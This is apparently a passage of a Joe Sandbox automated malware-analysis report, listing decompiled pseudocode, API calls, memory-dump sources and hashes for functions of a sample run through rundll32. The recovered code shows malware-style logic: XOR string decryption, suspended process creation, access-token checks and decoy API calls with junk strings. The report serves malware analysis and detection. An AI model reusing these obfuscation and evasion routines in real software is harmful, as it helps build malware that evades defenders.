				_t33 = _t34 - _t45;
				goto L5;
			}

0x00ef9c9b
0x00ef9ca3
0x00ef9ca7
0x00ef9ca9
0x00ef9cac
0x00ef9cb0
0x00ef9cd6
0x00ef9cec
0x00ef9cf4
0x00ef9d00
0x00ef9d02
0x00ef9d02
0x00ef9d03
0x00ef9d08
0x00ef9d16
0x00ef9d1a
0x00ef9d25
0x00ef9d45
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9d27
0x00ef9d27
0x00ef9d3b
0x00ef9d3f
0x00ef9d40
0x00ef9d41
0x00000000
0x00ef9d27
0x00000000
0x00ef9d1c
0x00ef9cf6
0x00ef9cf8
0x00ef9cf8
0x00ef9cf9
0x00000000
0x00ef9cfe
0x00ef9cb2
0x00ef9cc5
0x00ef9cc8
0x00000000
0x00000000
0x00ef9cca
0x00000000
0x00ef9cca
0x00ef9ccf
0x00ef9cd1
0x00ef9cd4
0x00000000

APIs

GetNumberFormatA.KERNEL32 ref: 00EF9CEC

Strings

electricmadness, xrefs: 00EF9CDD

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: FormatNumber
String ID: electricmadness
API String ID: 481257995-1127315026
Opcode ID: 38be91d6088acaa6ba134d028908778978ff0c0da2a7bd4adb463d5066ae2a8b
Instruction ID: f732b92350d5c1425307a98bbcea1b48afb8d4d304d0be1d6989f1fe5b07f067
Opcode Fuzzy Hash: 38be91d6088acaa6ba134d028908778978ff0c0da2a7bd4adb463d5066ae2a8b
Instruction Fuzzy Hash: 3811593270435D6BCB049F9898417FA77A9EB85314B242069EBD2FB253D670DC42D380

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9BF7 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00EF9BF7(intOrPtr __ecx, void* __edx, intOrPtr _a4, signed int _a12) {
				intOrPtr _v8;
				char _v88;
				signed int _t21;
				struct _numberfmt* _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				signed int _t30;
				signed int _t32;
				intOrPtr _t33;
				void* _t34;
				void* _t36;
				signed int _t37;
				signed int _t38;
				void* _t39;

				_t34 = __edx;
				_t29 = __ecx;
				_t37 = _a12;
				_t38 = _t37;
				_v8 = __ecx;
				if(_t37 >= __edx) {
					L4:
					_t27 = 0;
					if(GetNumberFormatA(0xdc, 0x172, "chickenfried", 0,  &_v88, 0x22) != 0) {
						do {
							_t27 = _t27 + 1;
						} while (_t27 < 0x22);
						L14:
						_t30 = 0xf1107e;
						L15:
						return _t30;
					} else {
						goto L5;
					}
					do {
						L5:
						_t27 = _t27 + 1;
					} while (_t27 < 0x14);
					goto L14;
				}
				_t28 = _a4;
				while( *((intOrPtr*)((_t38 & 0x0000007f) + _t28)) !=  *((intOrPtr*)(_t38 + _t29))) {
					_t38 = _t38 + 1;
					if(_t38 < _t34) {
						continue;
					}
					goto L4;
				}
				_t39 = _t38 - _t37;
				if(_t39 == 0) {
					goto L4;
				}
				_t21 = E00EF911F(_t39 + 1); // executed
				_t32 = _t21;
				_a12 = _t32;
				if(_t32 != 0) {
					_t33 = _v8;
					_t36 = _t32 - _t37;
					do {
						 *(_t36 + _t37) =  *((_t37 & 0x0000007f) + _t28) ^  *(_t37 + _t33);
						_t37 = _t37 + 1;
						_t39 = _t39 - 1;
					} while (_t39 != 0);
					_t30 = _a12;
					goto L15;
				}
				return 0xf1107e;
			}

0x00ef9bf7
0x00ef9bf7
0x00ef9c00
0x00ef9c03
0x00ef9c05
0x00ef9c0a
0x00ef9c21
0x00ef9c26
0x00ef9c41
0x00ef9c89
0x00ef9c89
0x00ef9c8a
0x00ef9c8f
0x00ef9c8f
0x00ef9c94
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef9c43
0x00ef9c43
0x00ef9c43
0x00ef9c44
0x00000000
0x00ef9c49
0x00ef9c0c
0x00ef9c0f
0x00ef9c1c
0x00ef9c1f
0x00000000
0x00000000
0x00000000
0x00ef9c1f
0x00ef9c4b
0x00ef9c4d
0x00000000
0x00000000
0x00ef9c53
0x00ef9c59
0x00ef9c5b
0x00ef9c60
0x00ef9c6b
0x00ef9c6e
0x00ef9c70
0x00ef9c7b
0x00ef9c7e
0x00ef9c7f
0x00ef9c7f
0x00ef9c84
0x00000000
0x00ef9c84
0x00000000

APIs

GetNumberFormatA.KERNEL32 ref: 00EF9C39

Strings

chickenfried, xrefs: 00EF9C2A

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: FormatNumber
String ID: chickenfried
API String ID: 481257995-586419266
Opcode ID: fe294eba59ab625e4d60249d58fa1d0a790af8f31da018176b8438ad67cd3694
Instruction ID: c80e597e874eeb3c628f68ae2f40ba3545237d6695f2734d7827e73cae14ae79
Opcode Fuzzy Hash: fe294eba59ab625e4d60249d58fa1d0a790af8f31da018176b8438ad67cd3694
Instruction Fuzzy Hash: 1C115732B0425D5FCB148FAC88807BAFBEAEBC5704B212029E7D2FB253D620CC419350

Uniqueness

Uniqueness Score: -1.00%

Function 00EFCA94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E00EFCA94(WCHAR* __ecx, struct _PROCESS_INFORMATION* __edx) {
				struct _STARTUPINFOW _v72;
				signed int _t11;

				E00EF92A2(__edx, 0, 0x10);
				E00EF92A2( &_v72, 0, 0x44);
				_v72.cb = 0x44;
				_t11 = CreateProcessW(0, __ecx, 0, 0, 0, 4, 0, 0,  &_v72, __edx);
				asm("sbb eax, eax");
				return  ~( ~_t11) - 1;
			}

0x00efcaa5
0x00efcab2
0x00efcaba
0x00efcad6
0x00efcadc
0x00efcae3

APIs

Part of subcall function 00EF92A2: memset.MSVCRT ref: 00EF92B4

CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000000,00000004,00000000,00000000,00000044,?,?,?,?,?,?,00000000), ref: 00EFCAD6

Strings

D, xrefs: 00EFCABA

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: CreateProcessmemset
String ID: D
API String ID: 2296119082-2746444292
Opcode ID: eb5ae8f0549fe362c669cf9ee47bdab439df6944ca00dba64a0a5347bd625cb6
Instruction ID: ac4ebb74957bfb07f2c1919c370fd89480f78bdc94c0c4522f4c756217ab11eb
Opcode Fuzzy Hash: eb5ae8f0549fe362c669cf9ee47bdab439df6944ca00dba64a0a5347bd625cb6
Instruction Fuzzy Hash: E2F065F264020C7EF720E665DC0BFBF36ACDB81710F504025BB05EB1D1EAA4AD0582B5

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1494 Relevance: 3.1, APIs: 2, Instructions: 108
sleepCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00EF1494(void* __edi, void* __fp0) {
				char _v8;
				void* __ecx;
				char _t19;
				intOrPtr _t22;
				intOrPtr _t24;
				intOrPtr _t25;
				signed int _t27;
				signed int _t29;
				intOrPtr _t30;
				signed int _t31;
				intOrPtr _t34;
				intOrPtr* _t36;
				void* _t37;
				intOrPtr _t40;
				void* _t50;
				intOrPtr _t52;
				void* _t56;
				void* _t58;
				signed int _t60;
				char _t62;

				_t68 = __fp0;
				E00EF15D4();
				_t19 = E00EF911F(0x20);
				_v8 = _t19;
				_t54 = 0x1f;
				do {
					_t2 = _t54 + 0x63; // 0x82
					 *((char*)(_t54 + _t19)) = _t2;
					_t54 = _t54 - 1;
				} while (_t54 >= 0);
				E00EF913B( &_v8, 0);
				_t22 = E00EFBB4D(_t54, __fp0); // executed
				 *0xf10fd8 = _t22;
				if(_t22 != 0) {
					E00F04257( *((intOrPtr*)(_t22 + 0x224)));
					_t24 =  *0xf10fd8; // 0x494fc50
					_t60 = 1;
					_t50 = _t58;
					__eflags =  *((intOrPtr*)(_t24 + 0x101c)) - 1;
					if( *((intOrPtr*)(_t24 + 0x101c)) == 1) {
						__imp__CoInitializeEx(0, 6, __edi);
						_t30 =  *0xf10fd8; // 0x494fc50
						_push(0);
						_push(0xf0d9b8);
						_t31 = _t30 + 0x228;
						__eflags = _t31;
						_push(_t31);
						_t56 = E00EF9924(0xf0d9b8);
						_t62 = E00EF16EC(0xf0d9b8, 0x2a);
						_v8 = _t62;
						while(1) {
							_t52 =  *0xf10fd8; // 0x494fc50
							_t34 =  *0xf10fc0; // 0x494fa38
							_t36 =  *0xf10fb4; // 0x494fc18
							_t37 =  *_t36( *((intOrPtr*)(_t34 + 0x54))(_t62, _t52 + 0x1644, _t56, 0, 0));
							__eflags = _t37 - 5;
							if(_t37 != 5) {
								break;
							}
							Sleep(0x7d0);
						}
						E00EF9D66( &_v8);
						_t40 =  *0xf10fa0; // 0x494f8a0
						_pop(_t50);
						 *((intOrPtr*)(_t40 + 0xec))(0);
						_t24 =  *0xf10fd8; // 0x494fc50
						_t60 = 1;
						__eflags = 1;
					}
					__eflags =  *(_t24 + 0x1898) & 0x00010082;
					if(( *(_t24 + 0x1898) & 0x00010082) != 0) {
						L13:
						 *((intOrPtr*)(_t24 + 0xa4)) = _t60;
						_t25 =  *0xf10fd8; // 0x494fc50
						__eflags =  *((intOrPtr*)(_t25 + 0x214)) - 3;
						if(__eflags != 0) {
							goto L15;
						} else {
							goto L14;
						}
					} else {
						_t14 = _t24 + 0x224; // 0xef0000
						_t54 =  *_t14;
						_t29 = E00EFA664( *_t14); // executed
						__eflags = _t29;
						_t24 =  *0xf10fd8; // 0x494fc50
						_t50 = _t50;
						if(_t29 == 0) {
							goto L13;
						} else {
							__eflags =  *((intOrPtr*)(_t24 + 0x214)) - 3;
							if( *((intOrPtr*)(_t24 + 0x214)) == 3) {
								L14:
								__eflags = E00EF29DD();
								if(__eflags < 0) {
									L15:
									E00EF12F8(_t50, _t54, __eflags, _t68);
								}
							}
						}
					}
					_t27 = 0;
					__eflags = 0;
				} else {
					_t27 = _t22 + 1;
				}
				return _t27;
			}

0x00ef1494
0x00ef1498
0x00ef149f
0x00ef14a7
0x00ef14aa
0x00ef14ab
0x00ef14ab
0x00ef14ae
0x00ef14b1
0x00ef14b1
0x00ef14be
0x00ef14c4
0x00ef14c9
0x00ef14d1
0x00ef14e0
0x00ef14e5
0x00ef14ec
0x00ef14ed
0x00ef14ee
0x00ef14f4
0x00ef14fe
0x00ef1504
0x00ef150e
0x00ef150f
0x00ef1510
0x00ef1510
0x00ef1515
0x00ef151e
0x00ef1525
0x00ef152a
0x00ef152d
0x00ef152d
0x00ef1533
0x00ef1547
0x00ef154c
0x00ef154e
0x00ef1551
0x00000000
0x00000000
0x00ef1558
0x00ef1558
0x00ef1564
0x00ef1569
0x00ef156e
0x00ef1570
0x00ef1576
0x00ef157d
0x00ef157d
0x00ef157e
0x00ef157f
0x00ef1589
0x00ef15ac
0x00ef15ac
0x00ef15b2
0x00ef15b7
0x00ef15be
0x00000000
0x00000000
0x00000000
0x00000000
0x00ef158b
0x00ef158b
0x00ef158b
0x00ef1592
0x00ef1597
0x00ef1599
0x00ef159e
0x00ef159f
0x00000000
0x00ef15a1
0x00ef15a1
0x00ef15a8
0x00ef15c0
0x00ef15c5
0x00ef15c7
0x00ef15c9
0x00ef15c9
0x00ef15c9
0x00ef15c7
0x00ef15a8
0x00ef159f
0x00ef15ce
0x00ef15ce
0x00ef14d3
0x00ef14d3
0x00ef14d3
0x00ef15d3

APIs

CoInitializeEx.OLE32(00000000,00000006,?,?,?,?,?,00EF1005), ref: 00EF14FE
Sleep.KERNEL32(000007D0), ref: 00EF1558

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: InitializeSleep
String ID:
API String ID: 4203272843-0
Opcode ID: a195c6e5289520a5b6d8e67b78ead484fae81e2cb3ff6ba15306016b3f0977c4
Instruction ID: 423187442febead0bd538c93d44c5b96fde9abb07a34f6609b8efefbf3303272
Opcode Fuzzy Hash: a195c6e5289520a5b6d8e67b78ead484fae81e2cb3ff6ba15306016b3f0977c4
Instruction Fuzzy Hash: 4831E5B160020CEFD720EBB4DC4AEB637E8EB45314F1650A5F206F7192DA70DD819B60

Uniqueness

Uniqueness Score: -1.00%

Function 00EF9491 Relevance: 3.0, APIs: 2, Instructions: 38
libraryCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00EF9491(void* __edx, intOrPtr _a4) {
				char _v8;
				void* __ecx;
				char _t5;
				struct HINSTANCE__* _t7;
				void* _t11;
				void* _t13;
				void* _t15;
				void* _t23;
				void* _t26;

				_push(_t15);
				_t23 = __edx;
				_t13 = _t15;
				_t5 = E00EF90CA(_t15, _a4);
				_t26 = 0;
				_v8 = _t5;
				_push(_t5);
				if(_a4 != 0x26e) {
					_t7 = LoadLibraryA(); // executed
				} else {
					_t7 = GetModuleHandleA();
				}
				if(_t7 != 0) {
					_t11 = E00EF9446(_t13, _t23, _t7); // executed
					_t26 = _t11;
				}
				E00EF9D4C( &_v8);
				return _t26;
			}

0x00ef9494
0x00ef949b
0x00ef949d
0x00ef949f
0x00ef94a5
0x00ef94a7
0x00ef94b1
0x00ef94b2
0x00ef94c1
0x00ef94b4
0x00ef94b4
0x00ef94b4
0x00ef94c5
0x00ef94cc
0x00ef94d2
0x00ef94d2
0x00ef94d8
0x00ef94e4

APIs

GetModuleHandleA.KERNEL32(00000000,?,?,?,00F0D870,?,00EF15E8,0000026E,00EF149D,?,?,00EF1005), ref: 00EF94B4
LoadLibraryA.KERNELBASE(00000000,?,?,?,00F0D870,?,00EF15E8,0000026E,00EF149D,?,?,00EF1005), ref: 00EF94C1

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: HandleLibraryLoadModule
String ID:
API String ID: 4133054770-0
Opcode ID: c224b85ed13c31f91e25bd350a59c70ba51bc0d9cc604bb90348f7a5793f7fa8
Instruction ID: 30b5189803a973f9a96a1ed0e683c09572d4540dee857ccf9c9a75bdbb2f265d
Opcode Fuzzy Hash: c224b85ed13c31f91e25bd350a59c70ba51bc0d9cc604bb90348f7a5793f7fa8
Instruction Fuzzy Hash: 65F0AE3260421CAFCB149F6DEC859AF77EDEF543A4720903AF545E7152DE71CD418690

Uniqueness

Uniqueness Score: -1.00%

Function 00EF1000 Relevance: 3.0, APIs: 2, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EF1000() {
				void* _t4;
				void* _t5;

				E00EF1494(_t4, _t5);
				ExitProcess(0);
			}

0x00ef1000
0x00ef100c

APIs

ExitProcess.KERNEL32(00000000), ref: 00EF100C

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 8cd36752152e940c2056cbbe4e46052ae7519cecc10b2ac8bc52301eb8853590
Instruction ID: 3f5f784f07aa136252dc02718a8678396c75658b25573bfc63a14dd682f072b2
Opcode Fuzzy Hash: 8cd36752152e940c2056cbbe4e46052ae7519cecc10b2ac8bc52301eb8853590
Instruction Fuzzy Hash: F4B01230200048CFDB109770D80AFBC33D0AB48302F8A88F0B205DE056EE604001D710

Uniqueness

Uniqueness Score: -1.00%

Function 00EE0499 Relevance: 2.6, APIs: 2, Instructions: 61memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(?), ref: 00EE051C

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 647806292e40d76c1808ca0a8b573877cb0d1ed87da1151593330ae6246e7e91
Instruction ID: 2b6cb3430c67e16d6a8ebb01f921dab0f3aff1e3f2a98a04469c0bdf3f348357
Opcode Fuzzy Hash: 647806292e40d76c1808ca0a8b573877cb0d1ed87da1151593330ae6246e7e91
Instruction Fuzzy Hash: AB11C2B2C043CCEFDB20D692EDC47AD76B6EB14309F6860A6D5167B282D6714EC0EB01

Uniqueness

Uniqueness Score: -1.00%

Function 00EE11A5 Relevance: 1.6, APIs: 1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0092f584a839dd62b4c13f44ce63d536f0c9e1244b20ab5f9c8e56308dbb263e
Instruction ID: dce31b64fe57de273e3ba28587b9bb49ed28cb80cdd962fea1ef06220e4ec8f5
Opcode Fuzzy Hash: 0092f584a839dd62b4c13f44ce63d536f0c9e1244b20ab5f9c8e56308dbb263e
Instruction Fuzzy Hash: DD3180B5D442CDEBDF10AAA6DC84BEE76B9AB0C304F9424D5EB02B7262D2354DC0B751

Uniqueness

Uniqueness Score: -1.00%

Function 00EFDC83 Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00EFDC83(void* __ecx, void* __esi) {
				intOrPtr* _v8;
				char _v12;
				void* _v16;
				char _v20;
				char _v24;
				short _v28;
				char _v32;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t29;
				intOrPtr _t31;
				intOrPtr* _t33;
				intOrPtr _t34;
				char _t37;
				union _TOKEN_INFORMATION_CLASS _t44;
				char _t45;
				intOrPtr* _t48;

				_t37 = 0;
				_v28 = 0x500;
				_t45 = 0;
				_v32 = 0;
				_t20 = E00EFDB58(__ecx);
				_v16 = _t20;
				if(_t20 != 0) {
					_push( &_v24);
					_t44 = 2;
					_t21 = E00EFDBAF(_t44); // executed
					_t48 = _t21;
					_v20 = _t48;
					if(_t48 == 0) {
						L10:
						FindCloseChangeNotification(_v16);
						if(_t48 != 0) {
							E00EF913B( &_v20, _t37);
						}
						return _t45;
					}
					_push( &_v12);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0x220);
					_push(0x20);
					_push(2);
					_push( &_v32);
					_t29 =  *0xf10fc8; // 0x494fb00
					if( *((intOrPtr*)(_t29 + 0xc))() == 0) {
						goto L10;
					}
					if( *_t48 <= 0) {
						L9:
						_t31 =  *0xf10fc8; // 0x494fb00
						 *((intOrPtr*)(_t31 + 0x10))(_v12);
						_t37 = 0;
						goto L10;
					}
					_t9 = _t48 + 4; // 0x4
					_t33 = _t9;
					_v8 = _t33;
					while(1) {
						_push(_v12);
						_push( *_t33);
						_t34 =  *0xf10fc8; // 0x494fb00
						if( *((intOrPtr*)(_t34 + 0x68))() != 0) {
							break;
						}
						_t37 = _t37 + 1;
						_t33 = _v8 + 8;
						_v8 = _t33;
						if(_t37 <  *_t48) {
							continue;
						}
						goto L9;
					}
					_t45 = 1;
					goto L9;
				}
				return _t20;
			}

0x00efdc8a
0x00efdc8c
0x00efdc93
0x00efdc95
0x00efdc98
0x00efdc9d
0x00efdca2
0x00efdcac
0x00efdcaf
0x00efdcb2
0x00efdcb7
0x00efdcb9
0x00efdcbf
0x00efdd1f
0x00efdd27
0x00efdd2d
0x00efdd34
0x00efdd3a
0x00000000
0x00efdd3b
0x00efdcc4
0x00efdcc5
0x00efdcc6
0x00efdcc7
0x00efdcc8
0x00efdcc9
0x00efdcca
0x00efdccb
0x00efdcd0
0x00efdcd2
0x00efdcd7
0x00efdcd8
0x00efdce2
0x00000000
0x00000000
0x00efdce6
0x00efdd12
0x00efdd12
0x00efdd1a
0x00efdd1d
0x00000000
0x00efdd1d
0x00efdce8
0x00efdce8
0x00efdceb
0x00efdcee
0x00efdcee
0x00efdcf1
0x00efdcf3
0x00efdcfd
0x00000000
0x00000000
0x00efdd02
0x00efdd03
0x00efdd06
0x00efdd0b
0x00000000
0x00000000
0x00000000
0x00efdd0d
0x00efdd11
0x00000000
0x00efdd11
0x00efdd40

APIs

Part of subcall function 00EFDB58: GetCurrentThread.KERNEL32 ref: 00EFDB6B
Part of subcall function 00EFDB58: OpenThreadToken.ADVAPI32(00000000,?,?,00EFDC9D,00000000,00EF0000), ref: 00EFDB72
Part of subcall function 00EFDB58: GetLastError.KERNEL32(?,?,00EFDC9D,00000000,00EF0000), ref: 00EFDB79
Part of subcall function 00EFDB58: OpenProcessToken.ADVAPI32(00000000,?,?,00EFDC9D,00000000,00EF0000), ref: 00EFDB9E

Part of subcall function 00EFDBAF: GetTokenInformation.KERNELBASE(00000000,00000001,00000000,00000000,00000000,00000000,00001644,00EF0000,00000000,00000000,?,00EFDC30,00000000,00000000,?,00EFDC59), ref: 00EFDBCA
Part of subcall function 00EFDBAF: GetLastError.KERNEL32(?,00EFDC30,00000000,00000000,?,00EFDC59,00001644,?,00EFBBDE), ref: 00EFDBD1

FindCloseChangeNotification.KERNELBASE(?,00001644,00000000,00EF0000), ref: 00EFDD27

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID: Token$ErrorLastOpenThread$ChangeCloseCurrentFindInformationNotificationProcess
String ID:
API String ID: 1806447117-0
Opcode ID: b91e57554600e39a2fcb49572250e4bab68d4eb95b57c2a7ee14fbd5e0614d9e
Instruction ID: b0df1a2d0a527b6d83b9d618b1f920510cfb395e5442d3855650289bd4b74a4f
Opcode Fuzzy Hash: b91e57554600e39a2fcb49572250e4bab68d4eb95b57c2a7ee14fbd5e0614d9e
Instruction Fuzzy Hash: 6421B032A0420CAFDB10DFA9DC86EAEBBF9EF48310F114169E601F7151D7719941DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00EE07A4 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNELBASE(?), ref: 00EE07D5

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 67133743171ce9d8cdc9a07f765dc30c570cf60d44af1830f195452f5f9a1b35
Instruction ID: 98adcee89b0e38fd03df42a2b16436e1da5af96daefe73b324acb6c0db532a19
Opcode Fuzzy Hash: 67133743171ce9d8cdc9a07f765dc30c570cf60d44af1830f195452f5f9a1b35
Instruction Fuzzy Hash: A401F635A0928DDFCB54CF95D884AEDB7B0BB08320F246886E412BB252D771A9C0DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00EFDC33 Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00EFDC33(void* __ecx) {
				signed int _v8;
				intOrPtr _t12;
				void* _t13;
				void* _t14;
				void* _t17;
				intOrPtr _t18;
				void* _t23;

				_v8 = _v8 & 0x00000000;
				_t12 =  *0xf10fc8; // 0x494fb00
				_t13 =  *((intOrPtr*)(_t12 + 0x70))(__ecx, 8,  &_v8, __ecx);
				if(_t13 != 0) {
					_t14 = E00EFDC1C(); // executed
					_t23 = _t14;
					if(_t23 != 0) {
						FindCloseChangeNotification(_v8);
						_t17 = _t23;
					} else {
						if(_v8 != _t14) {
							_t18 =  *0xf10fa0; // 0x494f8a0
							 *((intOrPtr*)(_t18 + 0x34))(_v8);
						}
						_t17 = 0;
					}
					return _t17;
				} else {
					return _t13;
				}
			}

0x00efdc37
0x00efdc3f
0x00efdc47
0x00efdc4c
0x00efdc54
0x00efdc59
0x00efdc5d
0x00efdc7b
0x00efdc7e
0x00efdc5f
0x00efdc62
0x00efdc64
0x00efdc6c
0x00efdc6c
0x00efdc6f
0x00efdc6f
0x00efdc82
0x00efdc4f
0x00efdc4f
0x00efdc4f

Memory Dump Source

Source File: 00000013.00000002.406444341.0000000000EF1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EF0000, based on PE: true

Associated: 00000013.00000002.406437071.0000000000EF0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406833035.0000000000F0A000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406847694.0000000000F0F000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.406861714.0000000000F12000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_ef0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73ee59b285623c00606cda7d9b73a76508d714e035407e6a0d1306d262c7a62d
Instruction ID: 8351aa956e9b70c3cefb7721f54f7687e1f6031320c29fbd82caab512c2ddced
Opcode Fuzzy Hash: 73ee59b285623c00606cda7d9b73a76508d714e035407e6a0d1306d262c7a62d
Instruction Fuzzy Hash: 62F01731A05118EFCB20DBA4DD06AADBBA9EB04359F5650A4F601E7160DBB0DE01EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00EE0E3E Relevance: 1.5, APIs: 1, Instructions: 24libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?), ref: 00EE0E36

Memory Dump Source

Source File: 00000013.00000003.393198410.0000000000EE0000.00000020.00001000.00020000.00000000.sdmp, Offset: 00EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_ee0000_rundll32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: dcb77b7dde468c4429c3eacf2e802b1e328b244cbed8a4ff464840034cf41f56
Instruction ID: f9ba047b4307cc084278055b9f6c7464a4bd4d132e773b931122fda4a4b81235
